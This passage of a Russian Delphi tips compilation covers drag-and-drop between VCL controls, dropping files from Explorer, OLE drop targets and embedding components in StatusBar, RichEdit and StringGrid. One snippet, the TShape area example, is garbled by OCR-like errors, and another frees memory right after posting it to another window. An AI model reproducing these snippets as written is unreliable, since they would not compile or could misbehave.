      and (((Source = StringGrid1) and (Tag > 0))
      or (Source = StringGrid2));
  end;

Часть OnDragDrop, относящаяся к внутреннему переносу:

var
  ACol, ARow, c, r: Integer;
  GR: TGridRect;
begin
  StringGrid1.MouseToCell(X, Y, ACol, ARow);
  if Source = StringGrid1 then
    with StringGrid1 do
    begin
      Cells[Acol, Arow] := Cells[Col,Row];
//копируем ячейку-источник в приемник
      if Tag = 1 then
        Cells[Col,Row] := '';
// очищаем источник, если было нажато Alt
      Tag := 0;
    end;

А вот из StringGrid2 сделаем перенос выбранного диапазона ячеек с помощью правой кнопки, для этого в OnMouseDown

if Button = mbRight then
    StringGrid2.BeginDrag(True);

И теперь часть StringGrid1DragDrop, относящаяся к переносу из StringGrid2:

if Source = StringGrid2 then
  begin
    GR := StringGrid2.Selection;
// Selection - выделенные в StringGrid2 ячейки
    for r := 0 to GR.Bottom - GR.Top do
      for c := 0 to GR.Right - GR.Left do
        if (ACol + c < StringGrid1.ColCount) and
          (ARow + r < StringGrid1.RowCount) then
// застрахуемся от записи вне StringGrid1
          StringGrid1.Cells[ACol + c, ARow + r] :=
            StringGrid2.Cells[c + GR.Left, r + GR.Top];
  end;

Теперь покажем, как этот диапазон ячеек из StringGrid2 перенести в Memo2. Для этого в OnDragOver Memo2 пишем:

Accept := (Source = StringGrid2) or (Source = DBGrid1);

и в OnDragDrop Memo2:

var
  c, r: integer;
  s: string;
begin
  Memo2.Clear;
  if Source = StringGrid2 then
    with StringGrid2 do
      for r := Selection.Top to Selection.Bottom do
      begin
        s := '';
        for c := Selection.Left to Selection.Right do
          s := s + Cells[c, r] + #9;
// разделим ячейки табуляцией
        memo2.lines.add(s);
      end

Кроме того, в Memo2 можно переносить выбранную запись из DBGrid1, у которого установлено в Options dgRowSelect = True. В сетке отображается таблица из стандартной поставки Delphi DBDEMOS - Animals.dbf. Перетаскивание осуществляется аналогично StringGrid2, правой кнопкой мыши, только по событию OnMouseMove

if ssRight in Shift then
    DBGrid1.BeginDrag(true);

Код в Memo2DragDrop, относящийся к переносу из DBGrid1:

else
    with DBGrid1.DataSource.DataSet do
    begin
      s := '';
      for c := 0 to FieldCount - 1 do
        s := s + Fields[c].AsString + ' | ';
      memo2.lines.add(s);
    end;
// в случае dgRowSelect = False для переноса одного поля достаточно сделать
// memo2.lines.add(DbGrid1.SelectedField.AsString);

Drag из DBGrid1 принимается также на Panel3, условие приема очевидно, а OnDragDrop выглядит так:

  Panel3.Height := 300;  // раскрываем панель
  Image1.visible := True;
  OleContainer1.Visible := false;
  Image1.Picture.Assign(DBGrid1.DataSource.DataSet.FieldByName('BMP'));
// показываем графическое поле текущей записи таблицы

Теперь покажу, как можно передвигать мышью визуальные компоненты в Run-Time. Для Panel1 установим DragMode = dmAutomatic, в OnDragOver формы пишем:

var
  Ct: TControl;
begin
  Ct := ControlAtPos(Point(X + Panel1.Width, Y + Panel1.Height), True, True);
// для упрощения проверяем перекрытие с другими контролами только правого нижнего угла
  Accept := (Source = Panel1) and ((Ct = nil) or (Ct = Panel1));

и в OnDragDrop формы очень просто

Panel1.Left := X;
Panel1.Top := Y;

Другой метод перетаскивания можно встретить в каждом FAQ по Delphi:

procedure TForm1.Panel2MouseDown(Sender: TObject; Button: TMouseButton;
  Shift: TShiftState; X, Y: Integer);
const
  SC_DragMove = $F012;
begin
  ReleaseCapture;
  Panel2.Perform(WM_SysCommand, SC_DragMove, 0);
end;

И в завершение реализация популярной задачи перетаскивания значков файлов на форму из Проводника. Для этого следует описать обработчик сообщения WM_DROPFILES

private
 procedure WMDropFiles(var Msg: TWMDropFiles); message WM_DROPFILES;

В OnCreate формы разрешить прием файлов

  DragAcceptFiles(Handle, true);

и в OnDestroy отключить его

  DragAcceptFiles(Handle, False);

Процедура обработки приема файлов может выглядеть так:

procedure TForm1.WMDropFiles(var Msg: TWMDropFiles);
const
  maxlen = 254;
var
  h: THandle;
  //i,num:integer;
  pchr: array[0..maxlen] of char;
  fname: string;
begin
  h := Msg.Drop;

  // дана реализация для одного файла, а
  //если предполагается принимать группу файлов, то можно добавить:
  //num:=DragQueryFile(h,Dword(-1),nil,0);
  //for i:=0 to num-1 do begin
  //  DragQueryFile(h,i,pchr,maxlen);
  //...обработка каждого
  //end;

  DragQueryFile(h, 0, pchr, maxlen);
  fname := string(pchr);
  if lowercase(extractfileext(fname)) = '.bmp' then
  begin
    Image1.visible := True;
    OleContainer1.Visible := false;
    image1.Picture.LoadFromFile(fname);
    Panel3.Height := 300;
  end
  else if lowercase(extractfileext(fname)) = '.doc' then
  begin
    Image1.visible := False;
    OleContainer1.Visible := True;
    OleContainer1.CreateObjectFromFile(fname, false);
    Panel3.Height := 300;
  end
  else if lowercase(extractfileext(fname)) = '.htm' then
    ShellExecute(0, nil, pchr, nil, nil, 0)
  else if lowercase(extractfileext(fname)) = '.txt' then
    Memo2.Lines.LoadFromFile(fname)
  else
    Memo2.Lines.Add(fname);
  DragFinish(h);
end;

При перетаскивании на форму файла с расширением Bmp он отображается в Image1, находящемся на Panel3, Doc загружается в OleContainer, для Htm запускается Internet Explorer или другой браузер по умолчанию, Txt отображается в Memo2, а для остальных файлов в Memo2 будет просто показано имя.

Полагаю, на основе содержащихся в статье приемов будет нетрудно организовать перетаскивание и для других, не описанных здесь, визуальных компонентов.

В заключение хочу выразить благодарность Игорю Шевченко и Максиму Власову за ценные советы при подготовке примеров... Автор статьи: Борис Новгородов, Новосибирск, 2002

Взято с сайта www.emanual.ru


Как пpинимать яpлыки пpи пеpетягивании их на контpол

Автор: Nomadic

TForm1 = class(TForm)
  ...
  private
    { Private declarations }
    procedure WMDropFiles(var M: TWMDropFiles); message WM_DROPFILES;
  ...
end;

var
  Form1: TForm1;

implementation

uses
  StrUtils, ShellAPI, ComObj, ShlObj, ActiveX;

procedure TForm1.FormCreate(Sender: TObject);
begin
  ...
  DragAcceptFiles(Handle, True);
  ...
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
  ...
  DragAcceptFiles(Handle, False);
  ...
end;

procedure TForm1.WMDropFiles(var M: TWMDropFiles);
var
  hDrop: Cardinal;
  n: Integer;
  s: string;
begin
  hDrop := M.Drop;
  n := DragQueryFile(hDrop, 0, nil, 0);
  SetLength(s, n);
  DragQueryFile(hDrop, 0, PChar(s), n + 1);
  DragFinish(hDrop);
  M.Result := 0;
  FileOpen(s);
end;

procedure TForm1.FileOpen(FileName: string);
begin
  if CompareText(ExtractFileExt(FileName), '.lnk') = 0 then
    FileName := ResolveShortcut(Application.Handle, FileName);
  DocName := ExtractFileName(FileName);
  Caption := Application.Title + ' - ' + DocName;
  ...
end;

function ResolveShortcut(Wnd: HWND; ShortcutPath: string): string;
var
  obj: IUnknown;
  isl: IShellLink;
  ipf: IPersistFile;
  pfd: TWin32FindDataA;
begin
  Result := '';
  obj := CreateComObject(CLSID_ShellLink);
  isl := obj as IShellLink;
  ipf := obj as IPersistFile;
  ipf.Load(PWChar(WideString(ShortcutPath)), STGM_READ);
  with isl do
  begin
    Resolve(Wnd, SLR_ANY_MATCH);
    SetLength(Result, MAX_PATH);
    GetPath(PChar(Result), Length(Result), pfd, SLGP_UNCPRIORITY);
    Result := PChar(Result);
  end;
end;

Взято с http://delphiworld.narod.ru


Перестроить вкладки TPageControl с помощью Drag and Drop

// In the PageControl's OnMouseDown event handler:

procedure TForm1.PageControl1MouseDown(Sender: TObject;
  Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
begin
  PageControl1.BeginDrag(False);
end;

// In the PageControl's OnDragDrop event handler:

procedure TForm1.PageControl1DragDrop(Sender, Source: TObject; X, Y: Integer);
const
  TCM_GETITEMRECT = $130A;
var
  i: Integer;
  r: TRect;
begin
  if not (Sender is TPageControl) then Exit;
  with PageControl1 do
  begin
    for i := 0 to PageCount - 1 do
    begin
      Perform(TCM_GETITEMRECT, i, lParam(@r));
      if PtInRect(r, Point(X, Y)) then
      begin
        if i <> ActivePage.PageIndex then
          ActivePage.PageIndex := i;
        Exit;
      end;
    end;
  end;
end;

// In the PageControl's OnDragOver event handler:

procedure TForm1.PageControl1DragOver(Sender, Source: TObject; X,
  Y: Integer; State: TDragState; var Accept: Boolean);
begin
  if Sender is TPageControl then
    Accept := True;
end;

Взято с http://delphiworld.narod.ru


Как перетаскивать (Drag and Drop) выделенный текст между компонентами Memo?

Данный способ позволяет не погружаясь глубоко в создание компонент осуществить операцию "drag and drop" выделенного текста.

Создайте новый компонент (TMyMemo), наследовав его от TMemo. И объявите его следующим образом:

type
  TMyMemo = class(TMemo)
  private
    FLastSelStart  : Integer;
    FLastSelLength : Integer;
    procedure WMLButtonDown(var Message: TWMLButtonDown);
      message WM_LBUTTONDOWN;
  published
    property LastSelStart : Integer read FLastSelStart
      write FLastSelStart;
    property LastSelLength : Integer read FLastSelLength
      write FLastSelLength;
  end;

Добавьте обработчик WMLButtonDown:

procedure TMyMemo.WMLButtonDown(var Message: TWMLButtonDown);
var
  Ch : Integer;
begin
  if SelLength > 0 then begin
    Ch := LoWord(Perform(EM_CHARFROMPOS,0,
                         MakeLParam(Message.XPos,Message.YPos)));
    LastSelStart := SelStart;
    LastSelLength := SelLength;
    if (Ch >= SelStart) and (Ch <= SelStart+SelLength-1) then
      BeginDrag(True)
    else
      inherited;
  end
  else
    inherited;
end;

Теперь установите этот компонент в package, создайте новый проект в Delphi и поместите на форму два TMyMemo. Для обоих компонент необходимо создать обработчики событий OnDragOver, которые должны выглядеть следующим образом:

procedure TForm1.MyMemo1DragOver(Sender, Source: TObject; X, Y: Integer;
  State: TDragState; var Accept: Boolean);
begin
  Accept := Source is TMyMemo;
end;

Так же для них необходимо сделать обработчики событий OnDragDrop:

procedure TForm1.MyMemo1DragDrop(Sender, Source: TObject;
                                 X, Y: Integer);
var
  Dst, Src : TMyMemo;
  Ch       : Integer;
  Temp     : String;
begin
  Dst := Sender as TMyMemo;
  Src := Source as TMyMemo;
  Ch := LoWord(Dst.Perform(EM_CHARFROMPOS,0,MakeLParam(X,Y)));

  if (Src = Dst) and (Ch >= Src.LastSelStart) and
     (Ch <= Src.LastSelStart+Src.LastSelLength-1) then
    Exit;

  Dst.Text := Copy(Dst.Text,1,Ch)+Src.SelText+
              Copy(Dst.Text,Ch+1,Length(Dst.Text)-Ch);
  Temp := Src.Text;
  Delete(Temp,Src.LastSelStart+1,Src.LastSelLength);
  Src.Text := Temp;
end;

Запустите приложение, поместите в поля memo какой-нибудь текст, и посмотрите что произойдёт, если перетащить текст между полями.

Взято из http://forum.sources.ru


Как перетаскивать компоненты в Run-Time?

Возьмите форму, бросьте на нее панель, на onMouseDown панели прицепите код:

procedure TForm1.Panel1MouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
  ReleaseCapture;
  Panel1.Perform(WM_SYSCOMMAND, $F012, 0);
end;

Теперь в run-time панель можно таскать как в дизайне...

Взято с Vingrad.ru http://forum.vingrad.ru


Внутренний интерфейс Drag and Drop

Внутренний интерфейс Drag&Drop

Для библиотеки VCL фирмой Borland реализована собственная версия интерфейса Drag&Drop (переводится как "перетащить"). Интерфейс этот внутренний — передавать и принимать можно любые управляющие элементы Delphi внутри формы' (кроме самой формы). Он реализован без использования соответствующих функций API Windows — их нужно применять при организации общения с другими задачами путем перетаскивания.

Нажав левую кнопку мыши над элементом управления, мы можем "перетащить" его на любой другой элемент. С точки зрения программиста это означает, что в моменты перетаскивания и отпускания клавиши генерируются определенные события, которыми передается вся необходимая информация — указатель на перетаскиваемый объект, текущие координаты курсора и др. Получателем событий является тот элемент, на котором в данный момент находится курсор. Обработчик такого события должен сообщить системе, принимает ли данньш элемент управления "посылку" или нет. При отпускании кнопки над принимающим элементом управления генерируется еще одно или два события, в зависимости от готовности приемника.
Способ работы с этим интерфейсом в VCL определяется свойством:

property DragMode: TDragMode;
TDragMode = (dmManual, dmAutomatic);

Для автоматического включения механизмов, имеющихся в VCL, необходимо, чтобы свойство компонента DragMode было установлено в dmAutomatic. Это означает, что на всех стадиях перетаскивания нужные функции вызываются без участия программиста. Его задача состоит только в том, чтобы определить методы-обработчики соответствующих событий. В режиме dmManual (принимаемом по умолчанию) все необходимые вызовы функций нужно делать самому.
Рассмотрим подробнее формат обработчиков трех основных событий интерфейса Drag&Drop.
Во время перетаскивания при перемещении курсора мыши с перетаскиваемым элементом над другим элементом управления, а также при отпускании кнопки для последнего возникает событие:
property OnDragOver: TDragOverEvent;
TDragOverEvent = procedure(Sender, Source: TObject; X, Y: Integer;
State: TDragState; var Accept: Boolean) of object;

Параметры события:
Sender — элемент, над которьм находится курсор;
Source — перетаскиваемый элемент;
X, Y — координаты курсора (в системе координат клиентской области Sender);
State — одно из трех состояний:

TDragState = (dsDragEnter, dsDragLeave, dsDragMove) ;

Существует одно исключение из этого правила, касающееся компонента TOLEContainer он может принимать объекты OLE m других выполняющихся приложений.
dsDragEnter — курсор мыши появился над элементом;
dsDragMove — курсор мыши переместился над элементом;
dsDragLeave — курсор мыши ушел с элемента или была отпущена кнопка.

Обработчик этого события должен возвратить решение, примет ли данный элемент объект Source или нет, в булевой переменной Accept. Если обработчик этого события отсутствует, то элемент управления не может работать приемником, т. е. на него нельзя "перетащить".
Во время перетаскивания над элементом управления он может изменить вид курсора, сигнализируя о готовности приема. Предназначенный для этого случая курсор описывается свойством:
property DragCursor: TCursor;

Если компонент не является приемником Drag&Drop, или обработчик события OnDragOver отсутствует или возвращает False, то появляется другой курсор (по умолчанию crNoDrop).
Событие:

property OnDragDrop: TDragDropEvent ;
TDragDropEvent = procedure(Sender, Source: TObject; X, Y: Integer) of object;

возникает во время перетаскивания при отпускании левой кнопки мыши над элементом, готовым к приему. Параметры его имеют тот же смысл, что и в предыдущем случае.
В приведенном примере вы можете перетащить одну из геометрических фигур в вашей форме (компонент TShape) на статический текст Label 1. Для этого в Label 1 описано два метода: Label IDragOver сигнализирует о готовности принять только компоненты класса TShape, a Label IDragDrop вычисляет площадь фигуры в квадратных сантиметрах в зависимости от ее вида (эллипс, прямоугольник, прямоугольник с закругленными углами).

procedure TPormI -LabellDragOver (Sender, Source: TObject; X, Y: Integer;
State: TDragState; var Accept: Boolean);
begin
  Accept := Source is TShape;
end;

procedure TFormI .LabellDragDrop (Sender, Source: TObject; X, Y: Integer);
  var f : single; i : Integer;
begin
  with Source as TShape do
    begin
      i := Width;
      if i > Height then i:= Height;
      case Shape of
        stRectangle: f := Width*Height;
        stSquare: f := i * i;
        stCircle: f := Pi * i*i / 4;
        stEllipse: f := Pi * Widths-Height / 4;
        stRoundRect, stRoundSquare:
          begin
            if Shape = stRoundRect then f := Width*Height else f := i * i;
            i :=   (i - Pen.Width + 1) div 4;
            f :=   f - (4-Pi)*i*i;
          end;
      end;
    end;
  f := f / Sqr(Forml.PixelsPerInch / 2.54);
  Labell-Caption := FloatToStrF(f, ffFixed, 5,   2)+ ' кв.см';
end;

При завышении перетаскивания, вне зависимости от готовности приемника всегда возникает еще одно событие:

property OnEndDrag: TEndDragEvent;
TEndDragEvent =procedure(Sender, Target: TObject; X, Y: Integer) of object;

Его параметры идентичны описанным выше.
Для управления перетаскиванием вручную (в режиме dmManual) есть следующие возможности. Начало перетаскивания происходит при вызове метода:

procedure BeginDrag(Immediate: Boolean);

Программист должен связать вызов этого метода с каким-либо событием в системе. (Если свойство DragMode установлено в dmAutomatic, BeginDrag вызывается функцией окна при нажатии левой кнопки мыши). Параметр Immediate определяет, когда именно возникает состояние Drag&Drop: в случае True немедленно, в случае False — после смещения мыши с нажатой левой кнопкой на 5 точек по любой из осей. Последний вариант дает возможность использовать нажатие левой кнопки и для перетаскивания, и для регистрации щелчков на элементе управления (скажем, на кнопке). В режиме dmAutomatic такой возможности нет. Метод:

procedure DragDrop(DragObject: TObject; X, Y: Integer); dynamic;
вызывает обработчик события OnDragDrop, а производит все завершающие действия метод

procedure EndDrag(Drop: Boolean);

Он инициирует события OnDragDrop (при возможности приема) и OnEndDrag.

Метод
function Dragging: Boolean;
возвращает True, если данный элемент в настоящий момент перетаскивается.


Функции и процедуры для работы с drag-and-drop операциями

CancelDrag Отменяет текущую drag-and-drop или drag-and-dock операцию.

Функция FindDragTarget (const Pos: TPoint;AllowDisabled: Boolean ): TControl;
Функция возвращает объект базового класса TControl, к которому относится позиция экрана с координатами, определенными параметром Pos. Данная функция используется для определения потенциального получателя drag-and-drop или drag-and-dock операции. Если для указанной позиции не существует никакого оконного средства управления, то функция возвращает nil. Параметр AllowDisabled определяет, будут ли учитываться заблокированные (disabled) объекты.

Функция IsDragObject( Sender: TObject ): Boolean;
Функция определяет, является ли объект, определенный в параметре Sender, потомком класса TDragObject. Данную функцию можно использовать в качестве параметра Source в обработчиках событий OnDragOver и OnDockOver для того, чтобы определить будет ли принят перетаскиваемый объект. Также функцию IsDragObject можно использовать в качестве параметра Source в обработчиках событий OnDragDrop и OnDockDrop для того, чтобы правильно интерпретировать перетаскиваемый объект.
Взято с http://atrussk.ru/delphi/


Как послать данные другому приложению используя auto-drag-n-drop?

uses
  ShellAPI;

function MakeDrop(const FileNames: array of string): THandle;
// Creates a hDrop Object
var
  I, Size: Integer;
  Data: PDragInfoA;
  P: PChar;
begin
  // Calculate memory size needed
  Size := SizeOf(TDragInfoA) + 1;
  for I := 0 to High(FileNames) do
    Inc(Size, Length(FileNames[I]) + 1);
  // allocate the memory
  Result := GlobalAlloc(GHND or GMEM_SHARE, Size);
  if Result <> 0 then
  begin
    Data := GlobalLock(Result);
    if Data <> nil then
      try
        // fill up with data
        Data.uSize := SizeOf(TDragInfoA);
        P  := PChar(@Data.grfKeyState) + 4;
        Data.lpFileList := P;
        // filenames at the at of the header (separated with #0)
        for I := 0 to High(FileNames) do
        begin
          Size := Length(FileNames[I]);
          Move(Pointer(FileNames[I])^, P^, Size);
          Inc(P, Size + 1);
        end;
      finally
        GlobalUnlock(Result);
      end
    else
    begin
      GlobalFree(Result);
      Result := 0;
    end;
  end;
end;

function MyEnum(Wnd: hWnd; Res: PInteger): Bool; stdcall;
// search for a edit control with classname 'TEditControl'
var
  N: string;
begin
  SetLength(N, MAX_PATH);
  SetLength(N, GetClassName(Wnd, Pointer(N), Length(N)));
  Result := AnsiCompareText('TEditControl', N) <> 0;
  if not Result then Res^ := Wnd;
end;

// Example: Open msdos.sys in Delphi's Editor window
procedure TForm1.Button1Click(Sender: TObject);
var
  Wnd: HWnd;
  Drop: hDrop;
begin
  // search for Delphi's Editor
  EnumChildWindows(FindWindow('TEditWindow', nil), @MyEnum, Integer(@Wnd));
  if IsWindow(Wnd) then
  begin
    // Delphi's Editor found. Open msdos.sys
    Drop := MakeDrop(['c:\msdos.sys']);
    if Drop <> 0 then PostMessage(Wnd, wm_DropFiles, Drop, 0);
    // Free the memory?
    GlobalFree(Drop);
  end;
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как сделать Drag-n-Drop из чужого приложения?

{
  The following example demonstrates the Drag&Drop machanism from an external
  application (Wordpad, Microsoft,..) to a TMemo in your own application.
 }

unit TMemoDragDropFrm;

{ ****************************************************************
  Source File Name :  TMemoDragDropFrm.pas
  Typ              :  Hauptformular
  Autor            :  Andreas Kosch
  Compiler         :  Delphi 4.02 CSS
  Betriebssystem   :  Windows 98
  Beschreibung     :  Text via OLE Drag&Drop ubernehmen aus einer
                      anderen Anwendung (wie zum Beispiel WordPad)
                      ubernehmen.
  16.01.2003: Test mit Delphi 7 und Microsoft Word XP unter Windowx XP
 **************************************************************** }
 { Comments by Thomas Stutz }

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ComCtrls, ActiveX, ShlObj, ComObj, StdCtrls;

type
  // TForm1's declaration indicates that it's a TForm and that
  // it supports the IDropTarget interface:

 {

  IDropTarget

  Any application wanting to accept drop operations must
  implement the IDropTarget interface.

  Methods of the IDropTarget interface:

  DragEnter
    Dragged item has just been moved into the application's window,
    return the relevant icon.

  DragOver
    Dragged item is being moved over the application's window,
    return the relevant icon.

  DragLeave
    Dragged item has just moved out of the application's window.

  Drop
    The dragged item has been dropped on this application.

  }

  TForm1 = class(TForm, IDropTarget)
    Memo1: TMemo;
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
  private
    // IDropTarget
    function DragEnter(const dataObj: IDataObject;
                       grfKeyState: Longint;
                       pt: TPoint;
                       var dwEffect: Longint): HResult; stdcall;
    function DragOver(grfKeyState: Longint;
                      pt: TPoint;
                      var dwEffect: Longint): HResult; stdcall;
    function DragLeave: HResult; stdcall;
    function Drop(const dataObj: IDataObject;
                  grfKeyState: Longint; pt: TPoint;
                  var dwEffect: Longint): HResult; stdcall;
   // IUnknown
   // Ignore referance counting
   function _AddRef: Integer; stdcall;
   function _Release: Integer; stdcall;

  public
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

uses
  ShellAPI;

// In the OnCreate event handler, two important methods are called.
// First, OleInitalize is called. This initializes the OLE libraries and should always be
// called before your application uses any OLE functions.
// RegisterDragDrop registers the window as a valid drop target.
// If this isn't called, the window will never receive any drop events.

procedure TForm1.FormCreate(Sender: TObject);
begin
  OleInitialize(nil);
  {Allow window to accept drop events}
  OleCheck(RegisterDragDrop(Handle, Self));
  { Execute Wordpad for testing }
  ShellExecute(Handle, 'open', 'wordpad', 'c:\Test.doc', nil, SW_SHOW);
end;

// OnDestroy does the exact opposite. It calls RevokeDropTarget to indicate that
// drop events are no longer accepted.
// It then calls OleUninitialize, since the application is finished using all OLE functions.

procedure TForm1.FormDestroy(Sender: TObject);
begin
  {Finished accepting drops}
  RevokeDragDrop(Handle);
  OleUninitialize;
end;

{-----------------------------------------------------------------}
{ IDropTarget-Implementierung                                     }
{-----------------------------------------------------------------}
function TForm1.DragEnter(const dataObj: IDataObject;
  grfKeyState: Longint;
  pt: TPoint;
  var dwEffect: Longint): HResult;
begin
  dwEffect := DROPEFFECT_COPY;
  Result  := S_OK;
end;

function TForm1.DragOver(grfKeyState: Longint;
  pt: TPoint;
  var dwEffect: Longint): HResult;
begin
  dwEffect := DROPEFFECT_COPY;
  Result := S_OK;
end;

function TForm1.DragLeave: HResult;
begin
  Result := S_OK;
end;

function TForm1._AddRef: Integer;
begin
   Result := 1;
end;

function TForm1._Release: Integer;
begin
   Result := 1;
end;

function TForm1.Drop(const dataObj: IDataObject;
  grfKeyState: Longint;
  pt: TPoint;
  var dwEffect: Longint): HResult;
var
  aFmtEtc: TFORMATETC;
  aStgMed: TSTGMEDIUM;
  pData: PChar;
begin
  {Make certain the data rendering is available}
  if (dataObj = nil) then
    raise Exception.Create('IDataObject-Pointer is not valid!');
  with aFmtEtc do
  begin
    cfFormat := CF_TEXT;
    ptd := nil;
    dwAspect := DVASPECT_CONTENT;
    lindex := -1;
    tymed := TYMED_HGLOBAL;
  end;
  {Get the data}
  OleCheck(dataObj.GetData(aFmtEtc, aStgMed));
  try
    {Lock the global memory handle to get a pointer to the data}
    pData := GlobalLock(aStgMed.hGlobal);
    { Replace Text }
    Memo1.Text := pData;
  finally
    {Finished with the pointer}
    GlobalUnlock(aStgMed.hGlobal);
    {Free the memory}
    ReleaseStgMedium(aStgMed);
  end;
  Result := S_OK;
end;

end.
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Вставка одних компонентов в другие

Cодержание раздела:

Как поместить ProgressBar в панель StatusBar?
Как поместить TCheckBox внутри TRichEdit?
Как добавить TCheckBox в TStringGrid?
Как поместить ComboBox в ячейку StringGrid?
Помещение компонентов в StringGrid
Помещение компонентов в DBGrid
Как сделать pop-up Combobox по позиции курсора в Memo?
Мемо в DBGrid New!
CheckBox в DBGrid New!

См. также статьи в других разделах:
StatusBar с другими контролами
Добавляем компонент в стандартный Message dialog.


Как поместить ProgressBar в панель StatusBar?

Корректнее было бы самому канву рисовать, но можно и просто вставить - держи функцию для этого - применять вместо стандартного метода Create.

Function CreateProgressBar(StatusBar:TStatusBar; index:integer):TProgressBar;
  var findleft:integer;
      i:integer;
begin
result:=TProgressBar.create(Statusbar);
result.parent:=Statusbar;
result.visible:=true;
result.top:=2;
findleft:=0;
for i:=0 to index-1 do
  findleft:=findleft+Statusbar.Panels[i].width+1;
result.left:=findleft;
result.width:=Statusbar.Panels[index].width-4;
result.height:=Statusbar.height-2;
end;

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru

Есть два принципиально разных решения. Первый вариант - это сделать все " вручную" .

Здесь создается Bitmap с текстом (возможно любое изображение). Чтобы нарисовать светлую часть полосы, достаточно скопировать кусок Bitmap на StatusBar, а чтобы нарисовать темную часть полосы, нужно скопировать кусок Bitmap с инвертированием. При этом фон станет темным, а текст светлым. Реализация ясна из самой программы.

Второй вариант более простой в реализации, но и менее функциональный. StatusBar является наследником TWinControl, а следовательно, на нем можно разместить еще какие-то компоненты. Но сделать это можно только динамически (непосредственно из программы). На StatusBar помещается компонент ProgressBar, вначале невидимый. Когда в нем появляется необходимость, его нужно сделать видимым и начать изменять свойство Position.

Из этого примера хорошо видны некоторые достоинства и недостатки объектов.
Если у Вас Delphi3, то строчка pb.Smooth := true; работать не будет. На сайте выложена версия программы с заменой этой строчки. Впрочем, ее можно просто удалить - принципиально это ничего не изменит. Скачать все необходимые для компиляции файлы проекта можно на program.dax.ru.

Способ 1

uses Commctrl;
const
 MaxProgress = 50;
var
 bm: TBitmap;
// Возвращает прямоугольник нулевой панели:
function GetPanelRect: TRect;
begin
 SendMessage(Form1.StatusBar1.Handle, SB_GETRECT, 0,
   integer(@result));
 InflateRect(result, -1, -1);
end;

// Копирует часть bm на StatusBar
procedure CopyPart(left, right: integer; ACopyMode: TCopyMode);
var bmRect, pnRect: TRect;
begin
 bmRect := Rect(left, 0, right, bm.Height - 1);
 pnRect := bmRect;
 with GetPanelRect do
   OffsetRect(pnRect, Left, Top);
 with Form1.StatusBar1.Canvas do begin
   CopyMode := ACopyMode;
   CopyRect(pnRect, bm.Canvas, bmRect);
 end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
 with StatusBar1.Panels.Add do begin
   Width := 100;
   Style := psOwnerDraw;
 end;
 with StatusBar1.Panels.Add do begin
   Width := 0;
   Text := 'abc';
 end;
 Timer1.Enabled := false;
 Timer1.Interval := 50;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
 Timer1.Enabled := true;
 bm := TBitmap.Create;
 with GetPanelRect do begin
   bm.Width := Right - Left;
   bm.Height := Bottom - Top;
 end;
 with bm.Canvas do begin
   Brush.Color := clSilver;
   FillRect(Bounds(0, 0, bm.Width, bm.Height));
   TextOut(1, 1, 'Doing smth...');
 end;
 CopyPart(0, bm.Width - 1, cmSrcCopy); // Вывод текста
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
 Timer1.Tag := Timer1.Tag + 1;
 if Timer1.Tag >  MaxProgress then begin
   Timer1.Enabled := false;
   Timer1.Tag := 0;
   StatusBar1.Repaint; // Очистка StatusBar
 end else
   // Вывод только что закрашенной части:
   CopyPart(trunc((Timer1.Tag - 1) / MaxProgress * bm.Width),
     trunc(Timer1.Tag / MaxProgress * bm.Width), cmNotSrcCopy);
end;

procedure TForm1.StatusBar1DrawPanel(StatusBar: TStatusBar;
 Panel: TStatusPanel; const Rect: TRect);
var p: integer;
begin
 if (Panel.Index = 0) and (Timer1.Tag >  0) then begin
   p := round((Rect.Right - Rect.Left) * Timer1.Tag / MaxProgress);
   // Вывод закрашенной части:
   CopyPart(0, p, cmNotSrcCopy);
   // Вывод незакрашенной части:
   CopyPart(p + 1, bm.Width - 1, cmSrcCopy);
 end;
end;

Способ 2

uses Commctrl;
const
 MaxProgress = 50;
var pb: TProgressBar;

function GetPanelRect: TRect;
begin
 SendMessage(Form1.StatusBar1.Handle, SB_GETRECT, 0, integer(@result));
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
 with StatusBar1.Panels.Add do begin
   Width := 100;
   Style := psOwnerDraw;
 end;
 with StatusBar1.Panels.Add do begin
   Width := 0;
   Text := 'abc';
 end;
 Timer1.Enabled := false;
 Timer1.Interval := 50;
 pb := TProgressBar.Create(StatusBar1);
 pb.Visible := false;
 pb.Parent := StatusBar1;
 pb.BoundsRect := GetPanelRect;
 pb.Smooth := true;
 pb.Step := 1;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
 Timer1.Enabled := true;
 pb.Position := 0;
 pb.Max := MaxProgress;
 pb.Visible := true;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
 Timer1.Tag := Timer1.Tag + 1;
 if Timer1.Tag >  MaxProgress then begin
   Timer1.Enabled := false;
   Timer1.Tag := 0;
   pb.Visible := false;
 end else pb.StepIt;
end;

Даниил Карапетян.
На сайте http://delphi4all.narod.ru Вы найдете еще более 100 советов по Delphi.
Email: delphi4all@narod.ru


Как поместить TCheckBox внутри TRichEdit?

Для использования следующего примера, необходимо создать новую форму, перетащить на неё TRichEdit (RichEdit1) и создать checkbox (acb) в событии FormCreate().

procedure TForm1.FormCreate(Sender: TObject);
var
  Acb: TCheckBox;
begin
  RichEdit1.Left := 20;
  Acb := TCheckBox.Create(RichEdit1);
  Acb.Left := 30;
  Acb.Top := 30;
  Acb.Caption := 'my checkbox';
  Acb.Parent := RichEdit1;
end;

Взято из http://forum.sources.ru


Как добавить TCheckBox в TStringGrid?

Компилятор: Delphi

Автор: Joel E. Cant.

Пример демонстрирует добавление любого количества чекбоксов в StringGrid.
В этом примере необходимо добавить TPanel, а в саму панель включить TstringGrid.
Так же необходимо добавить невидимый TcheckBox на форму. Затем добавьте
5 колонок и 4 строки в объект StringGrid.

procedure TForm1.CheckBox1Click(Sender: TObject);
begin
ShowMessage('There it is!!');
end;

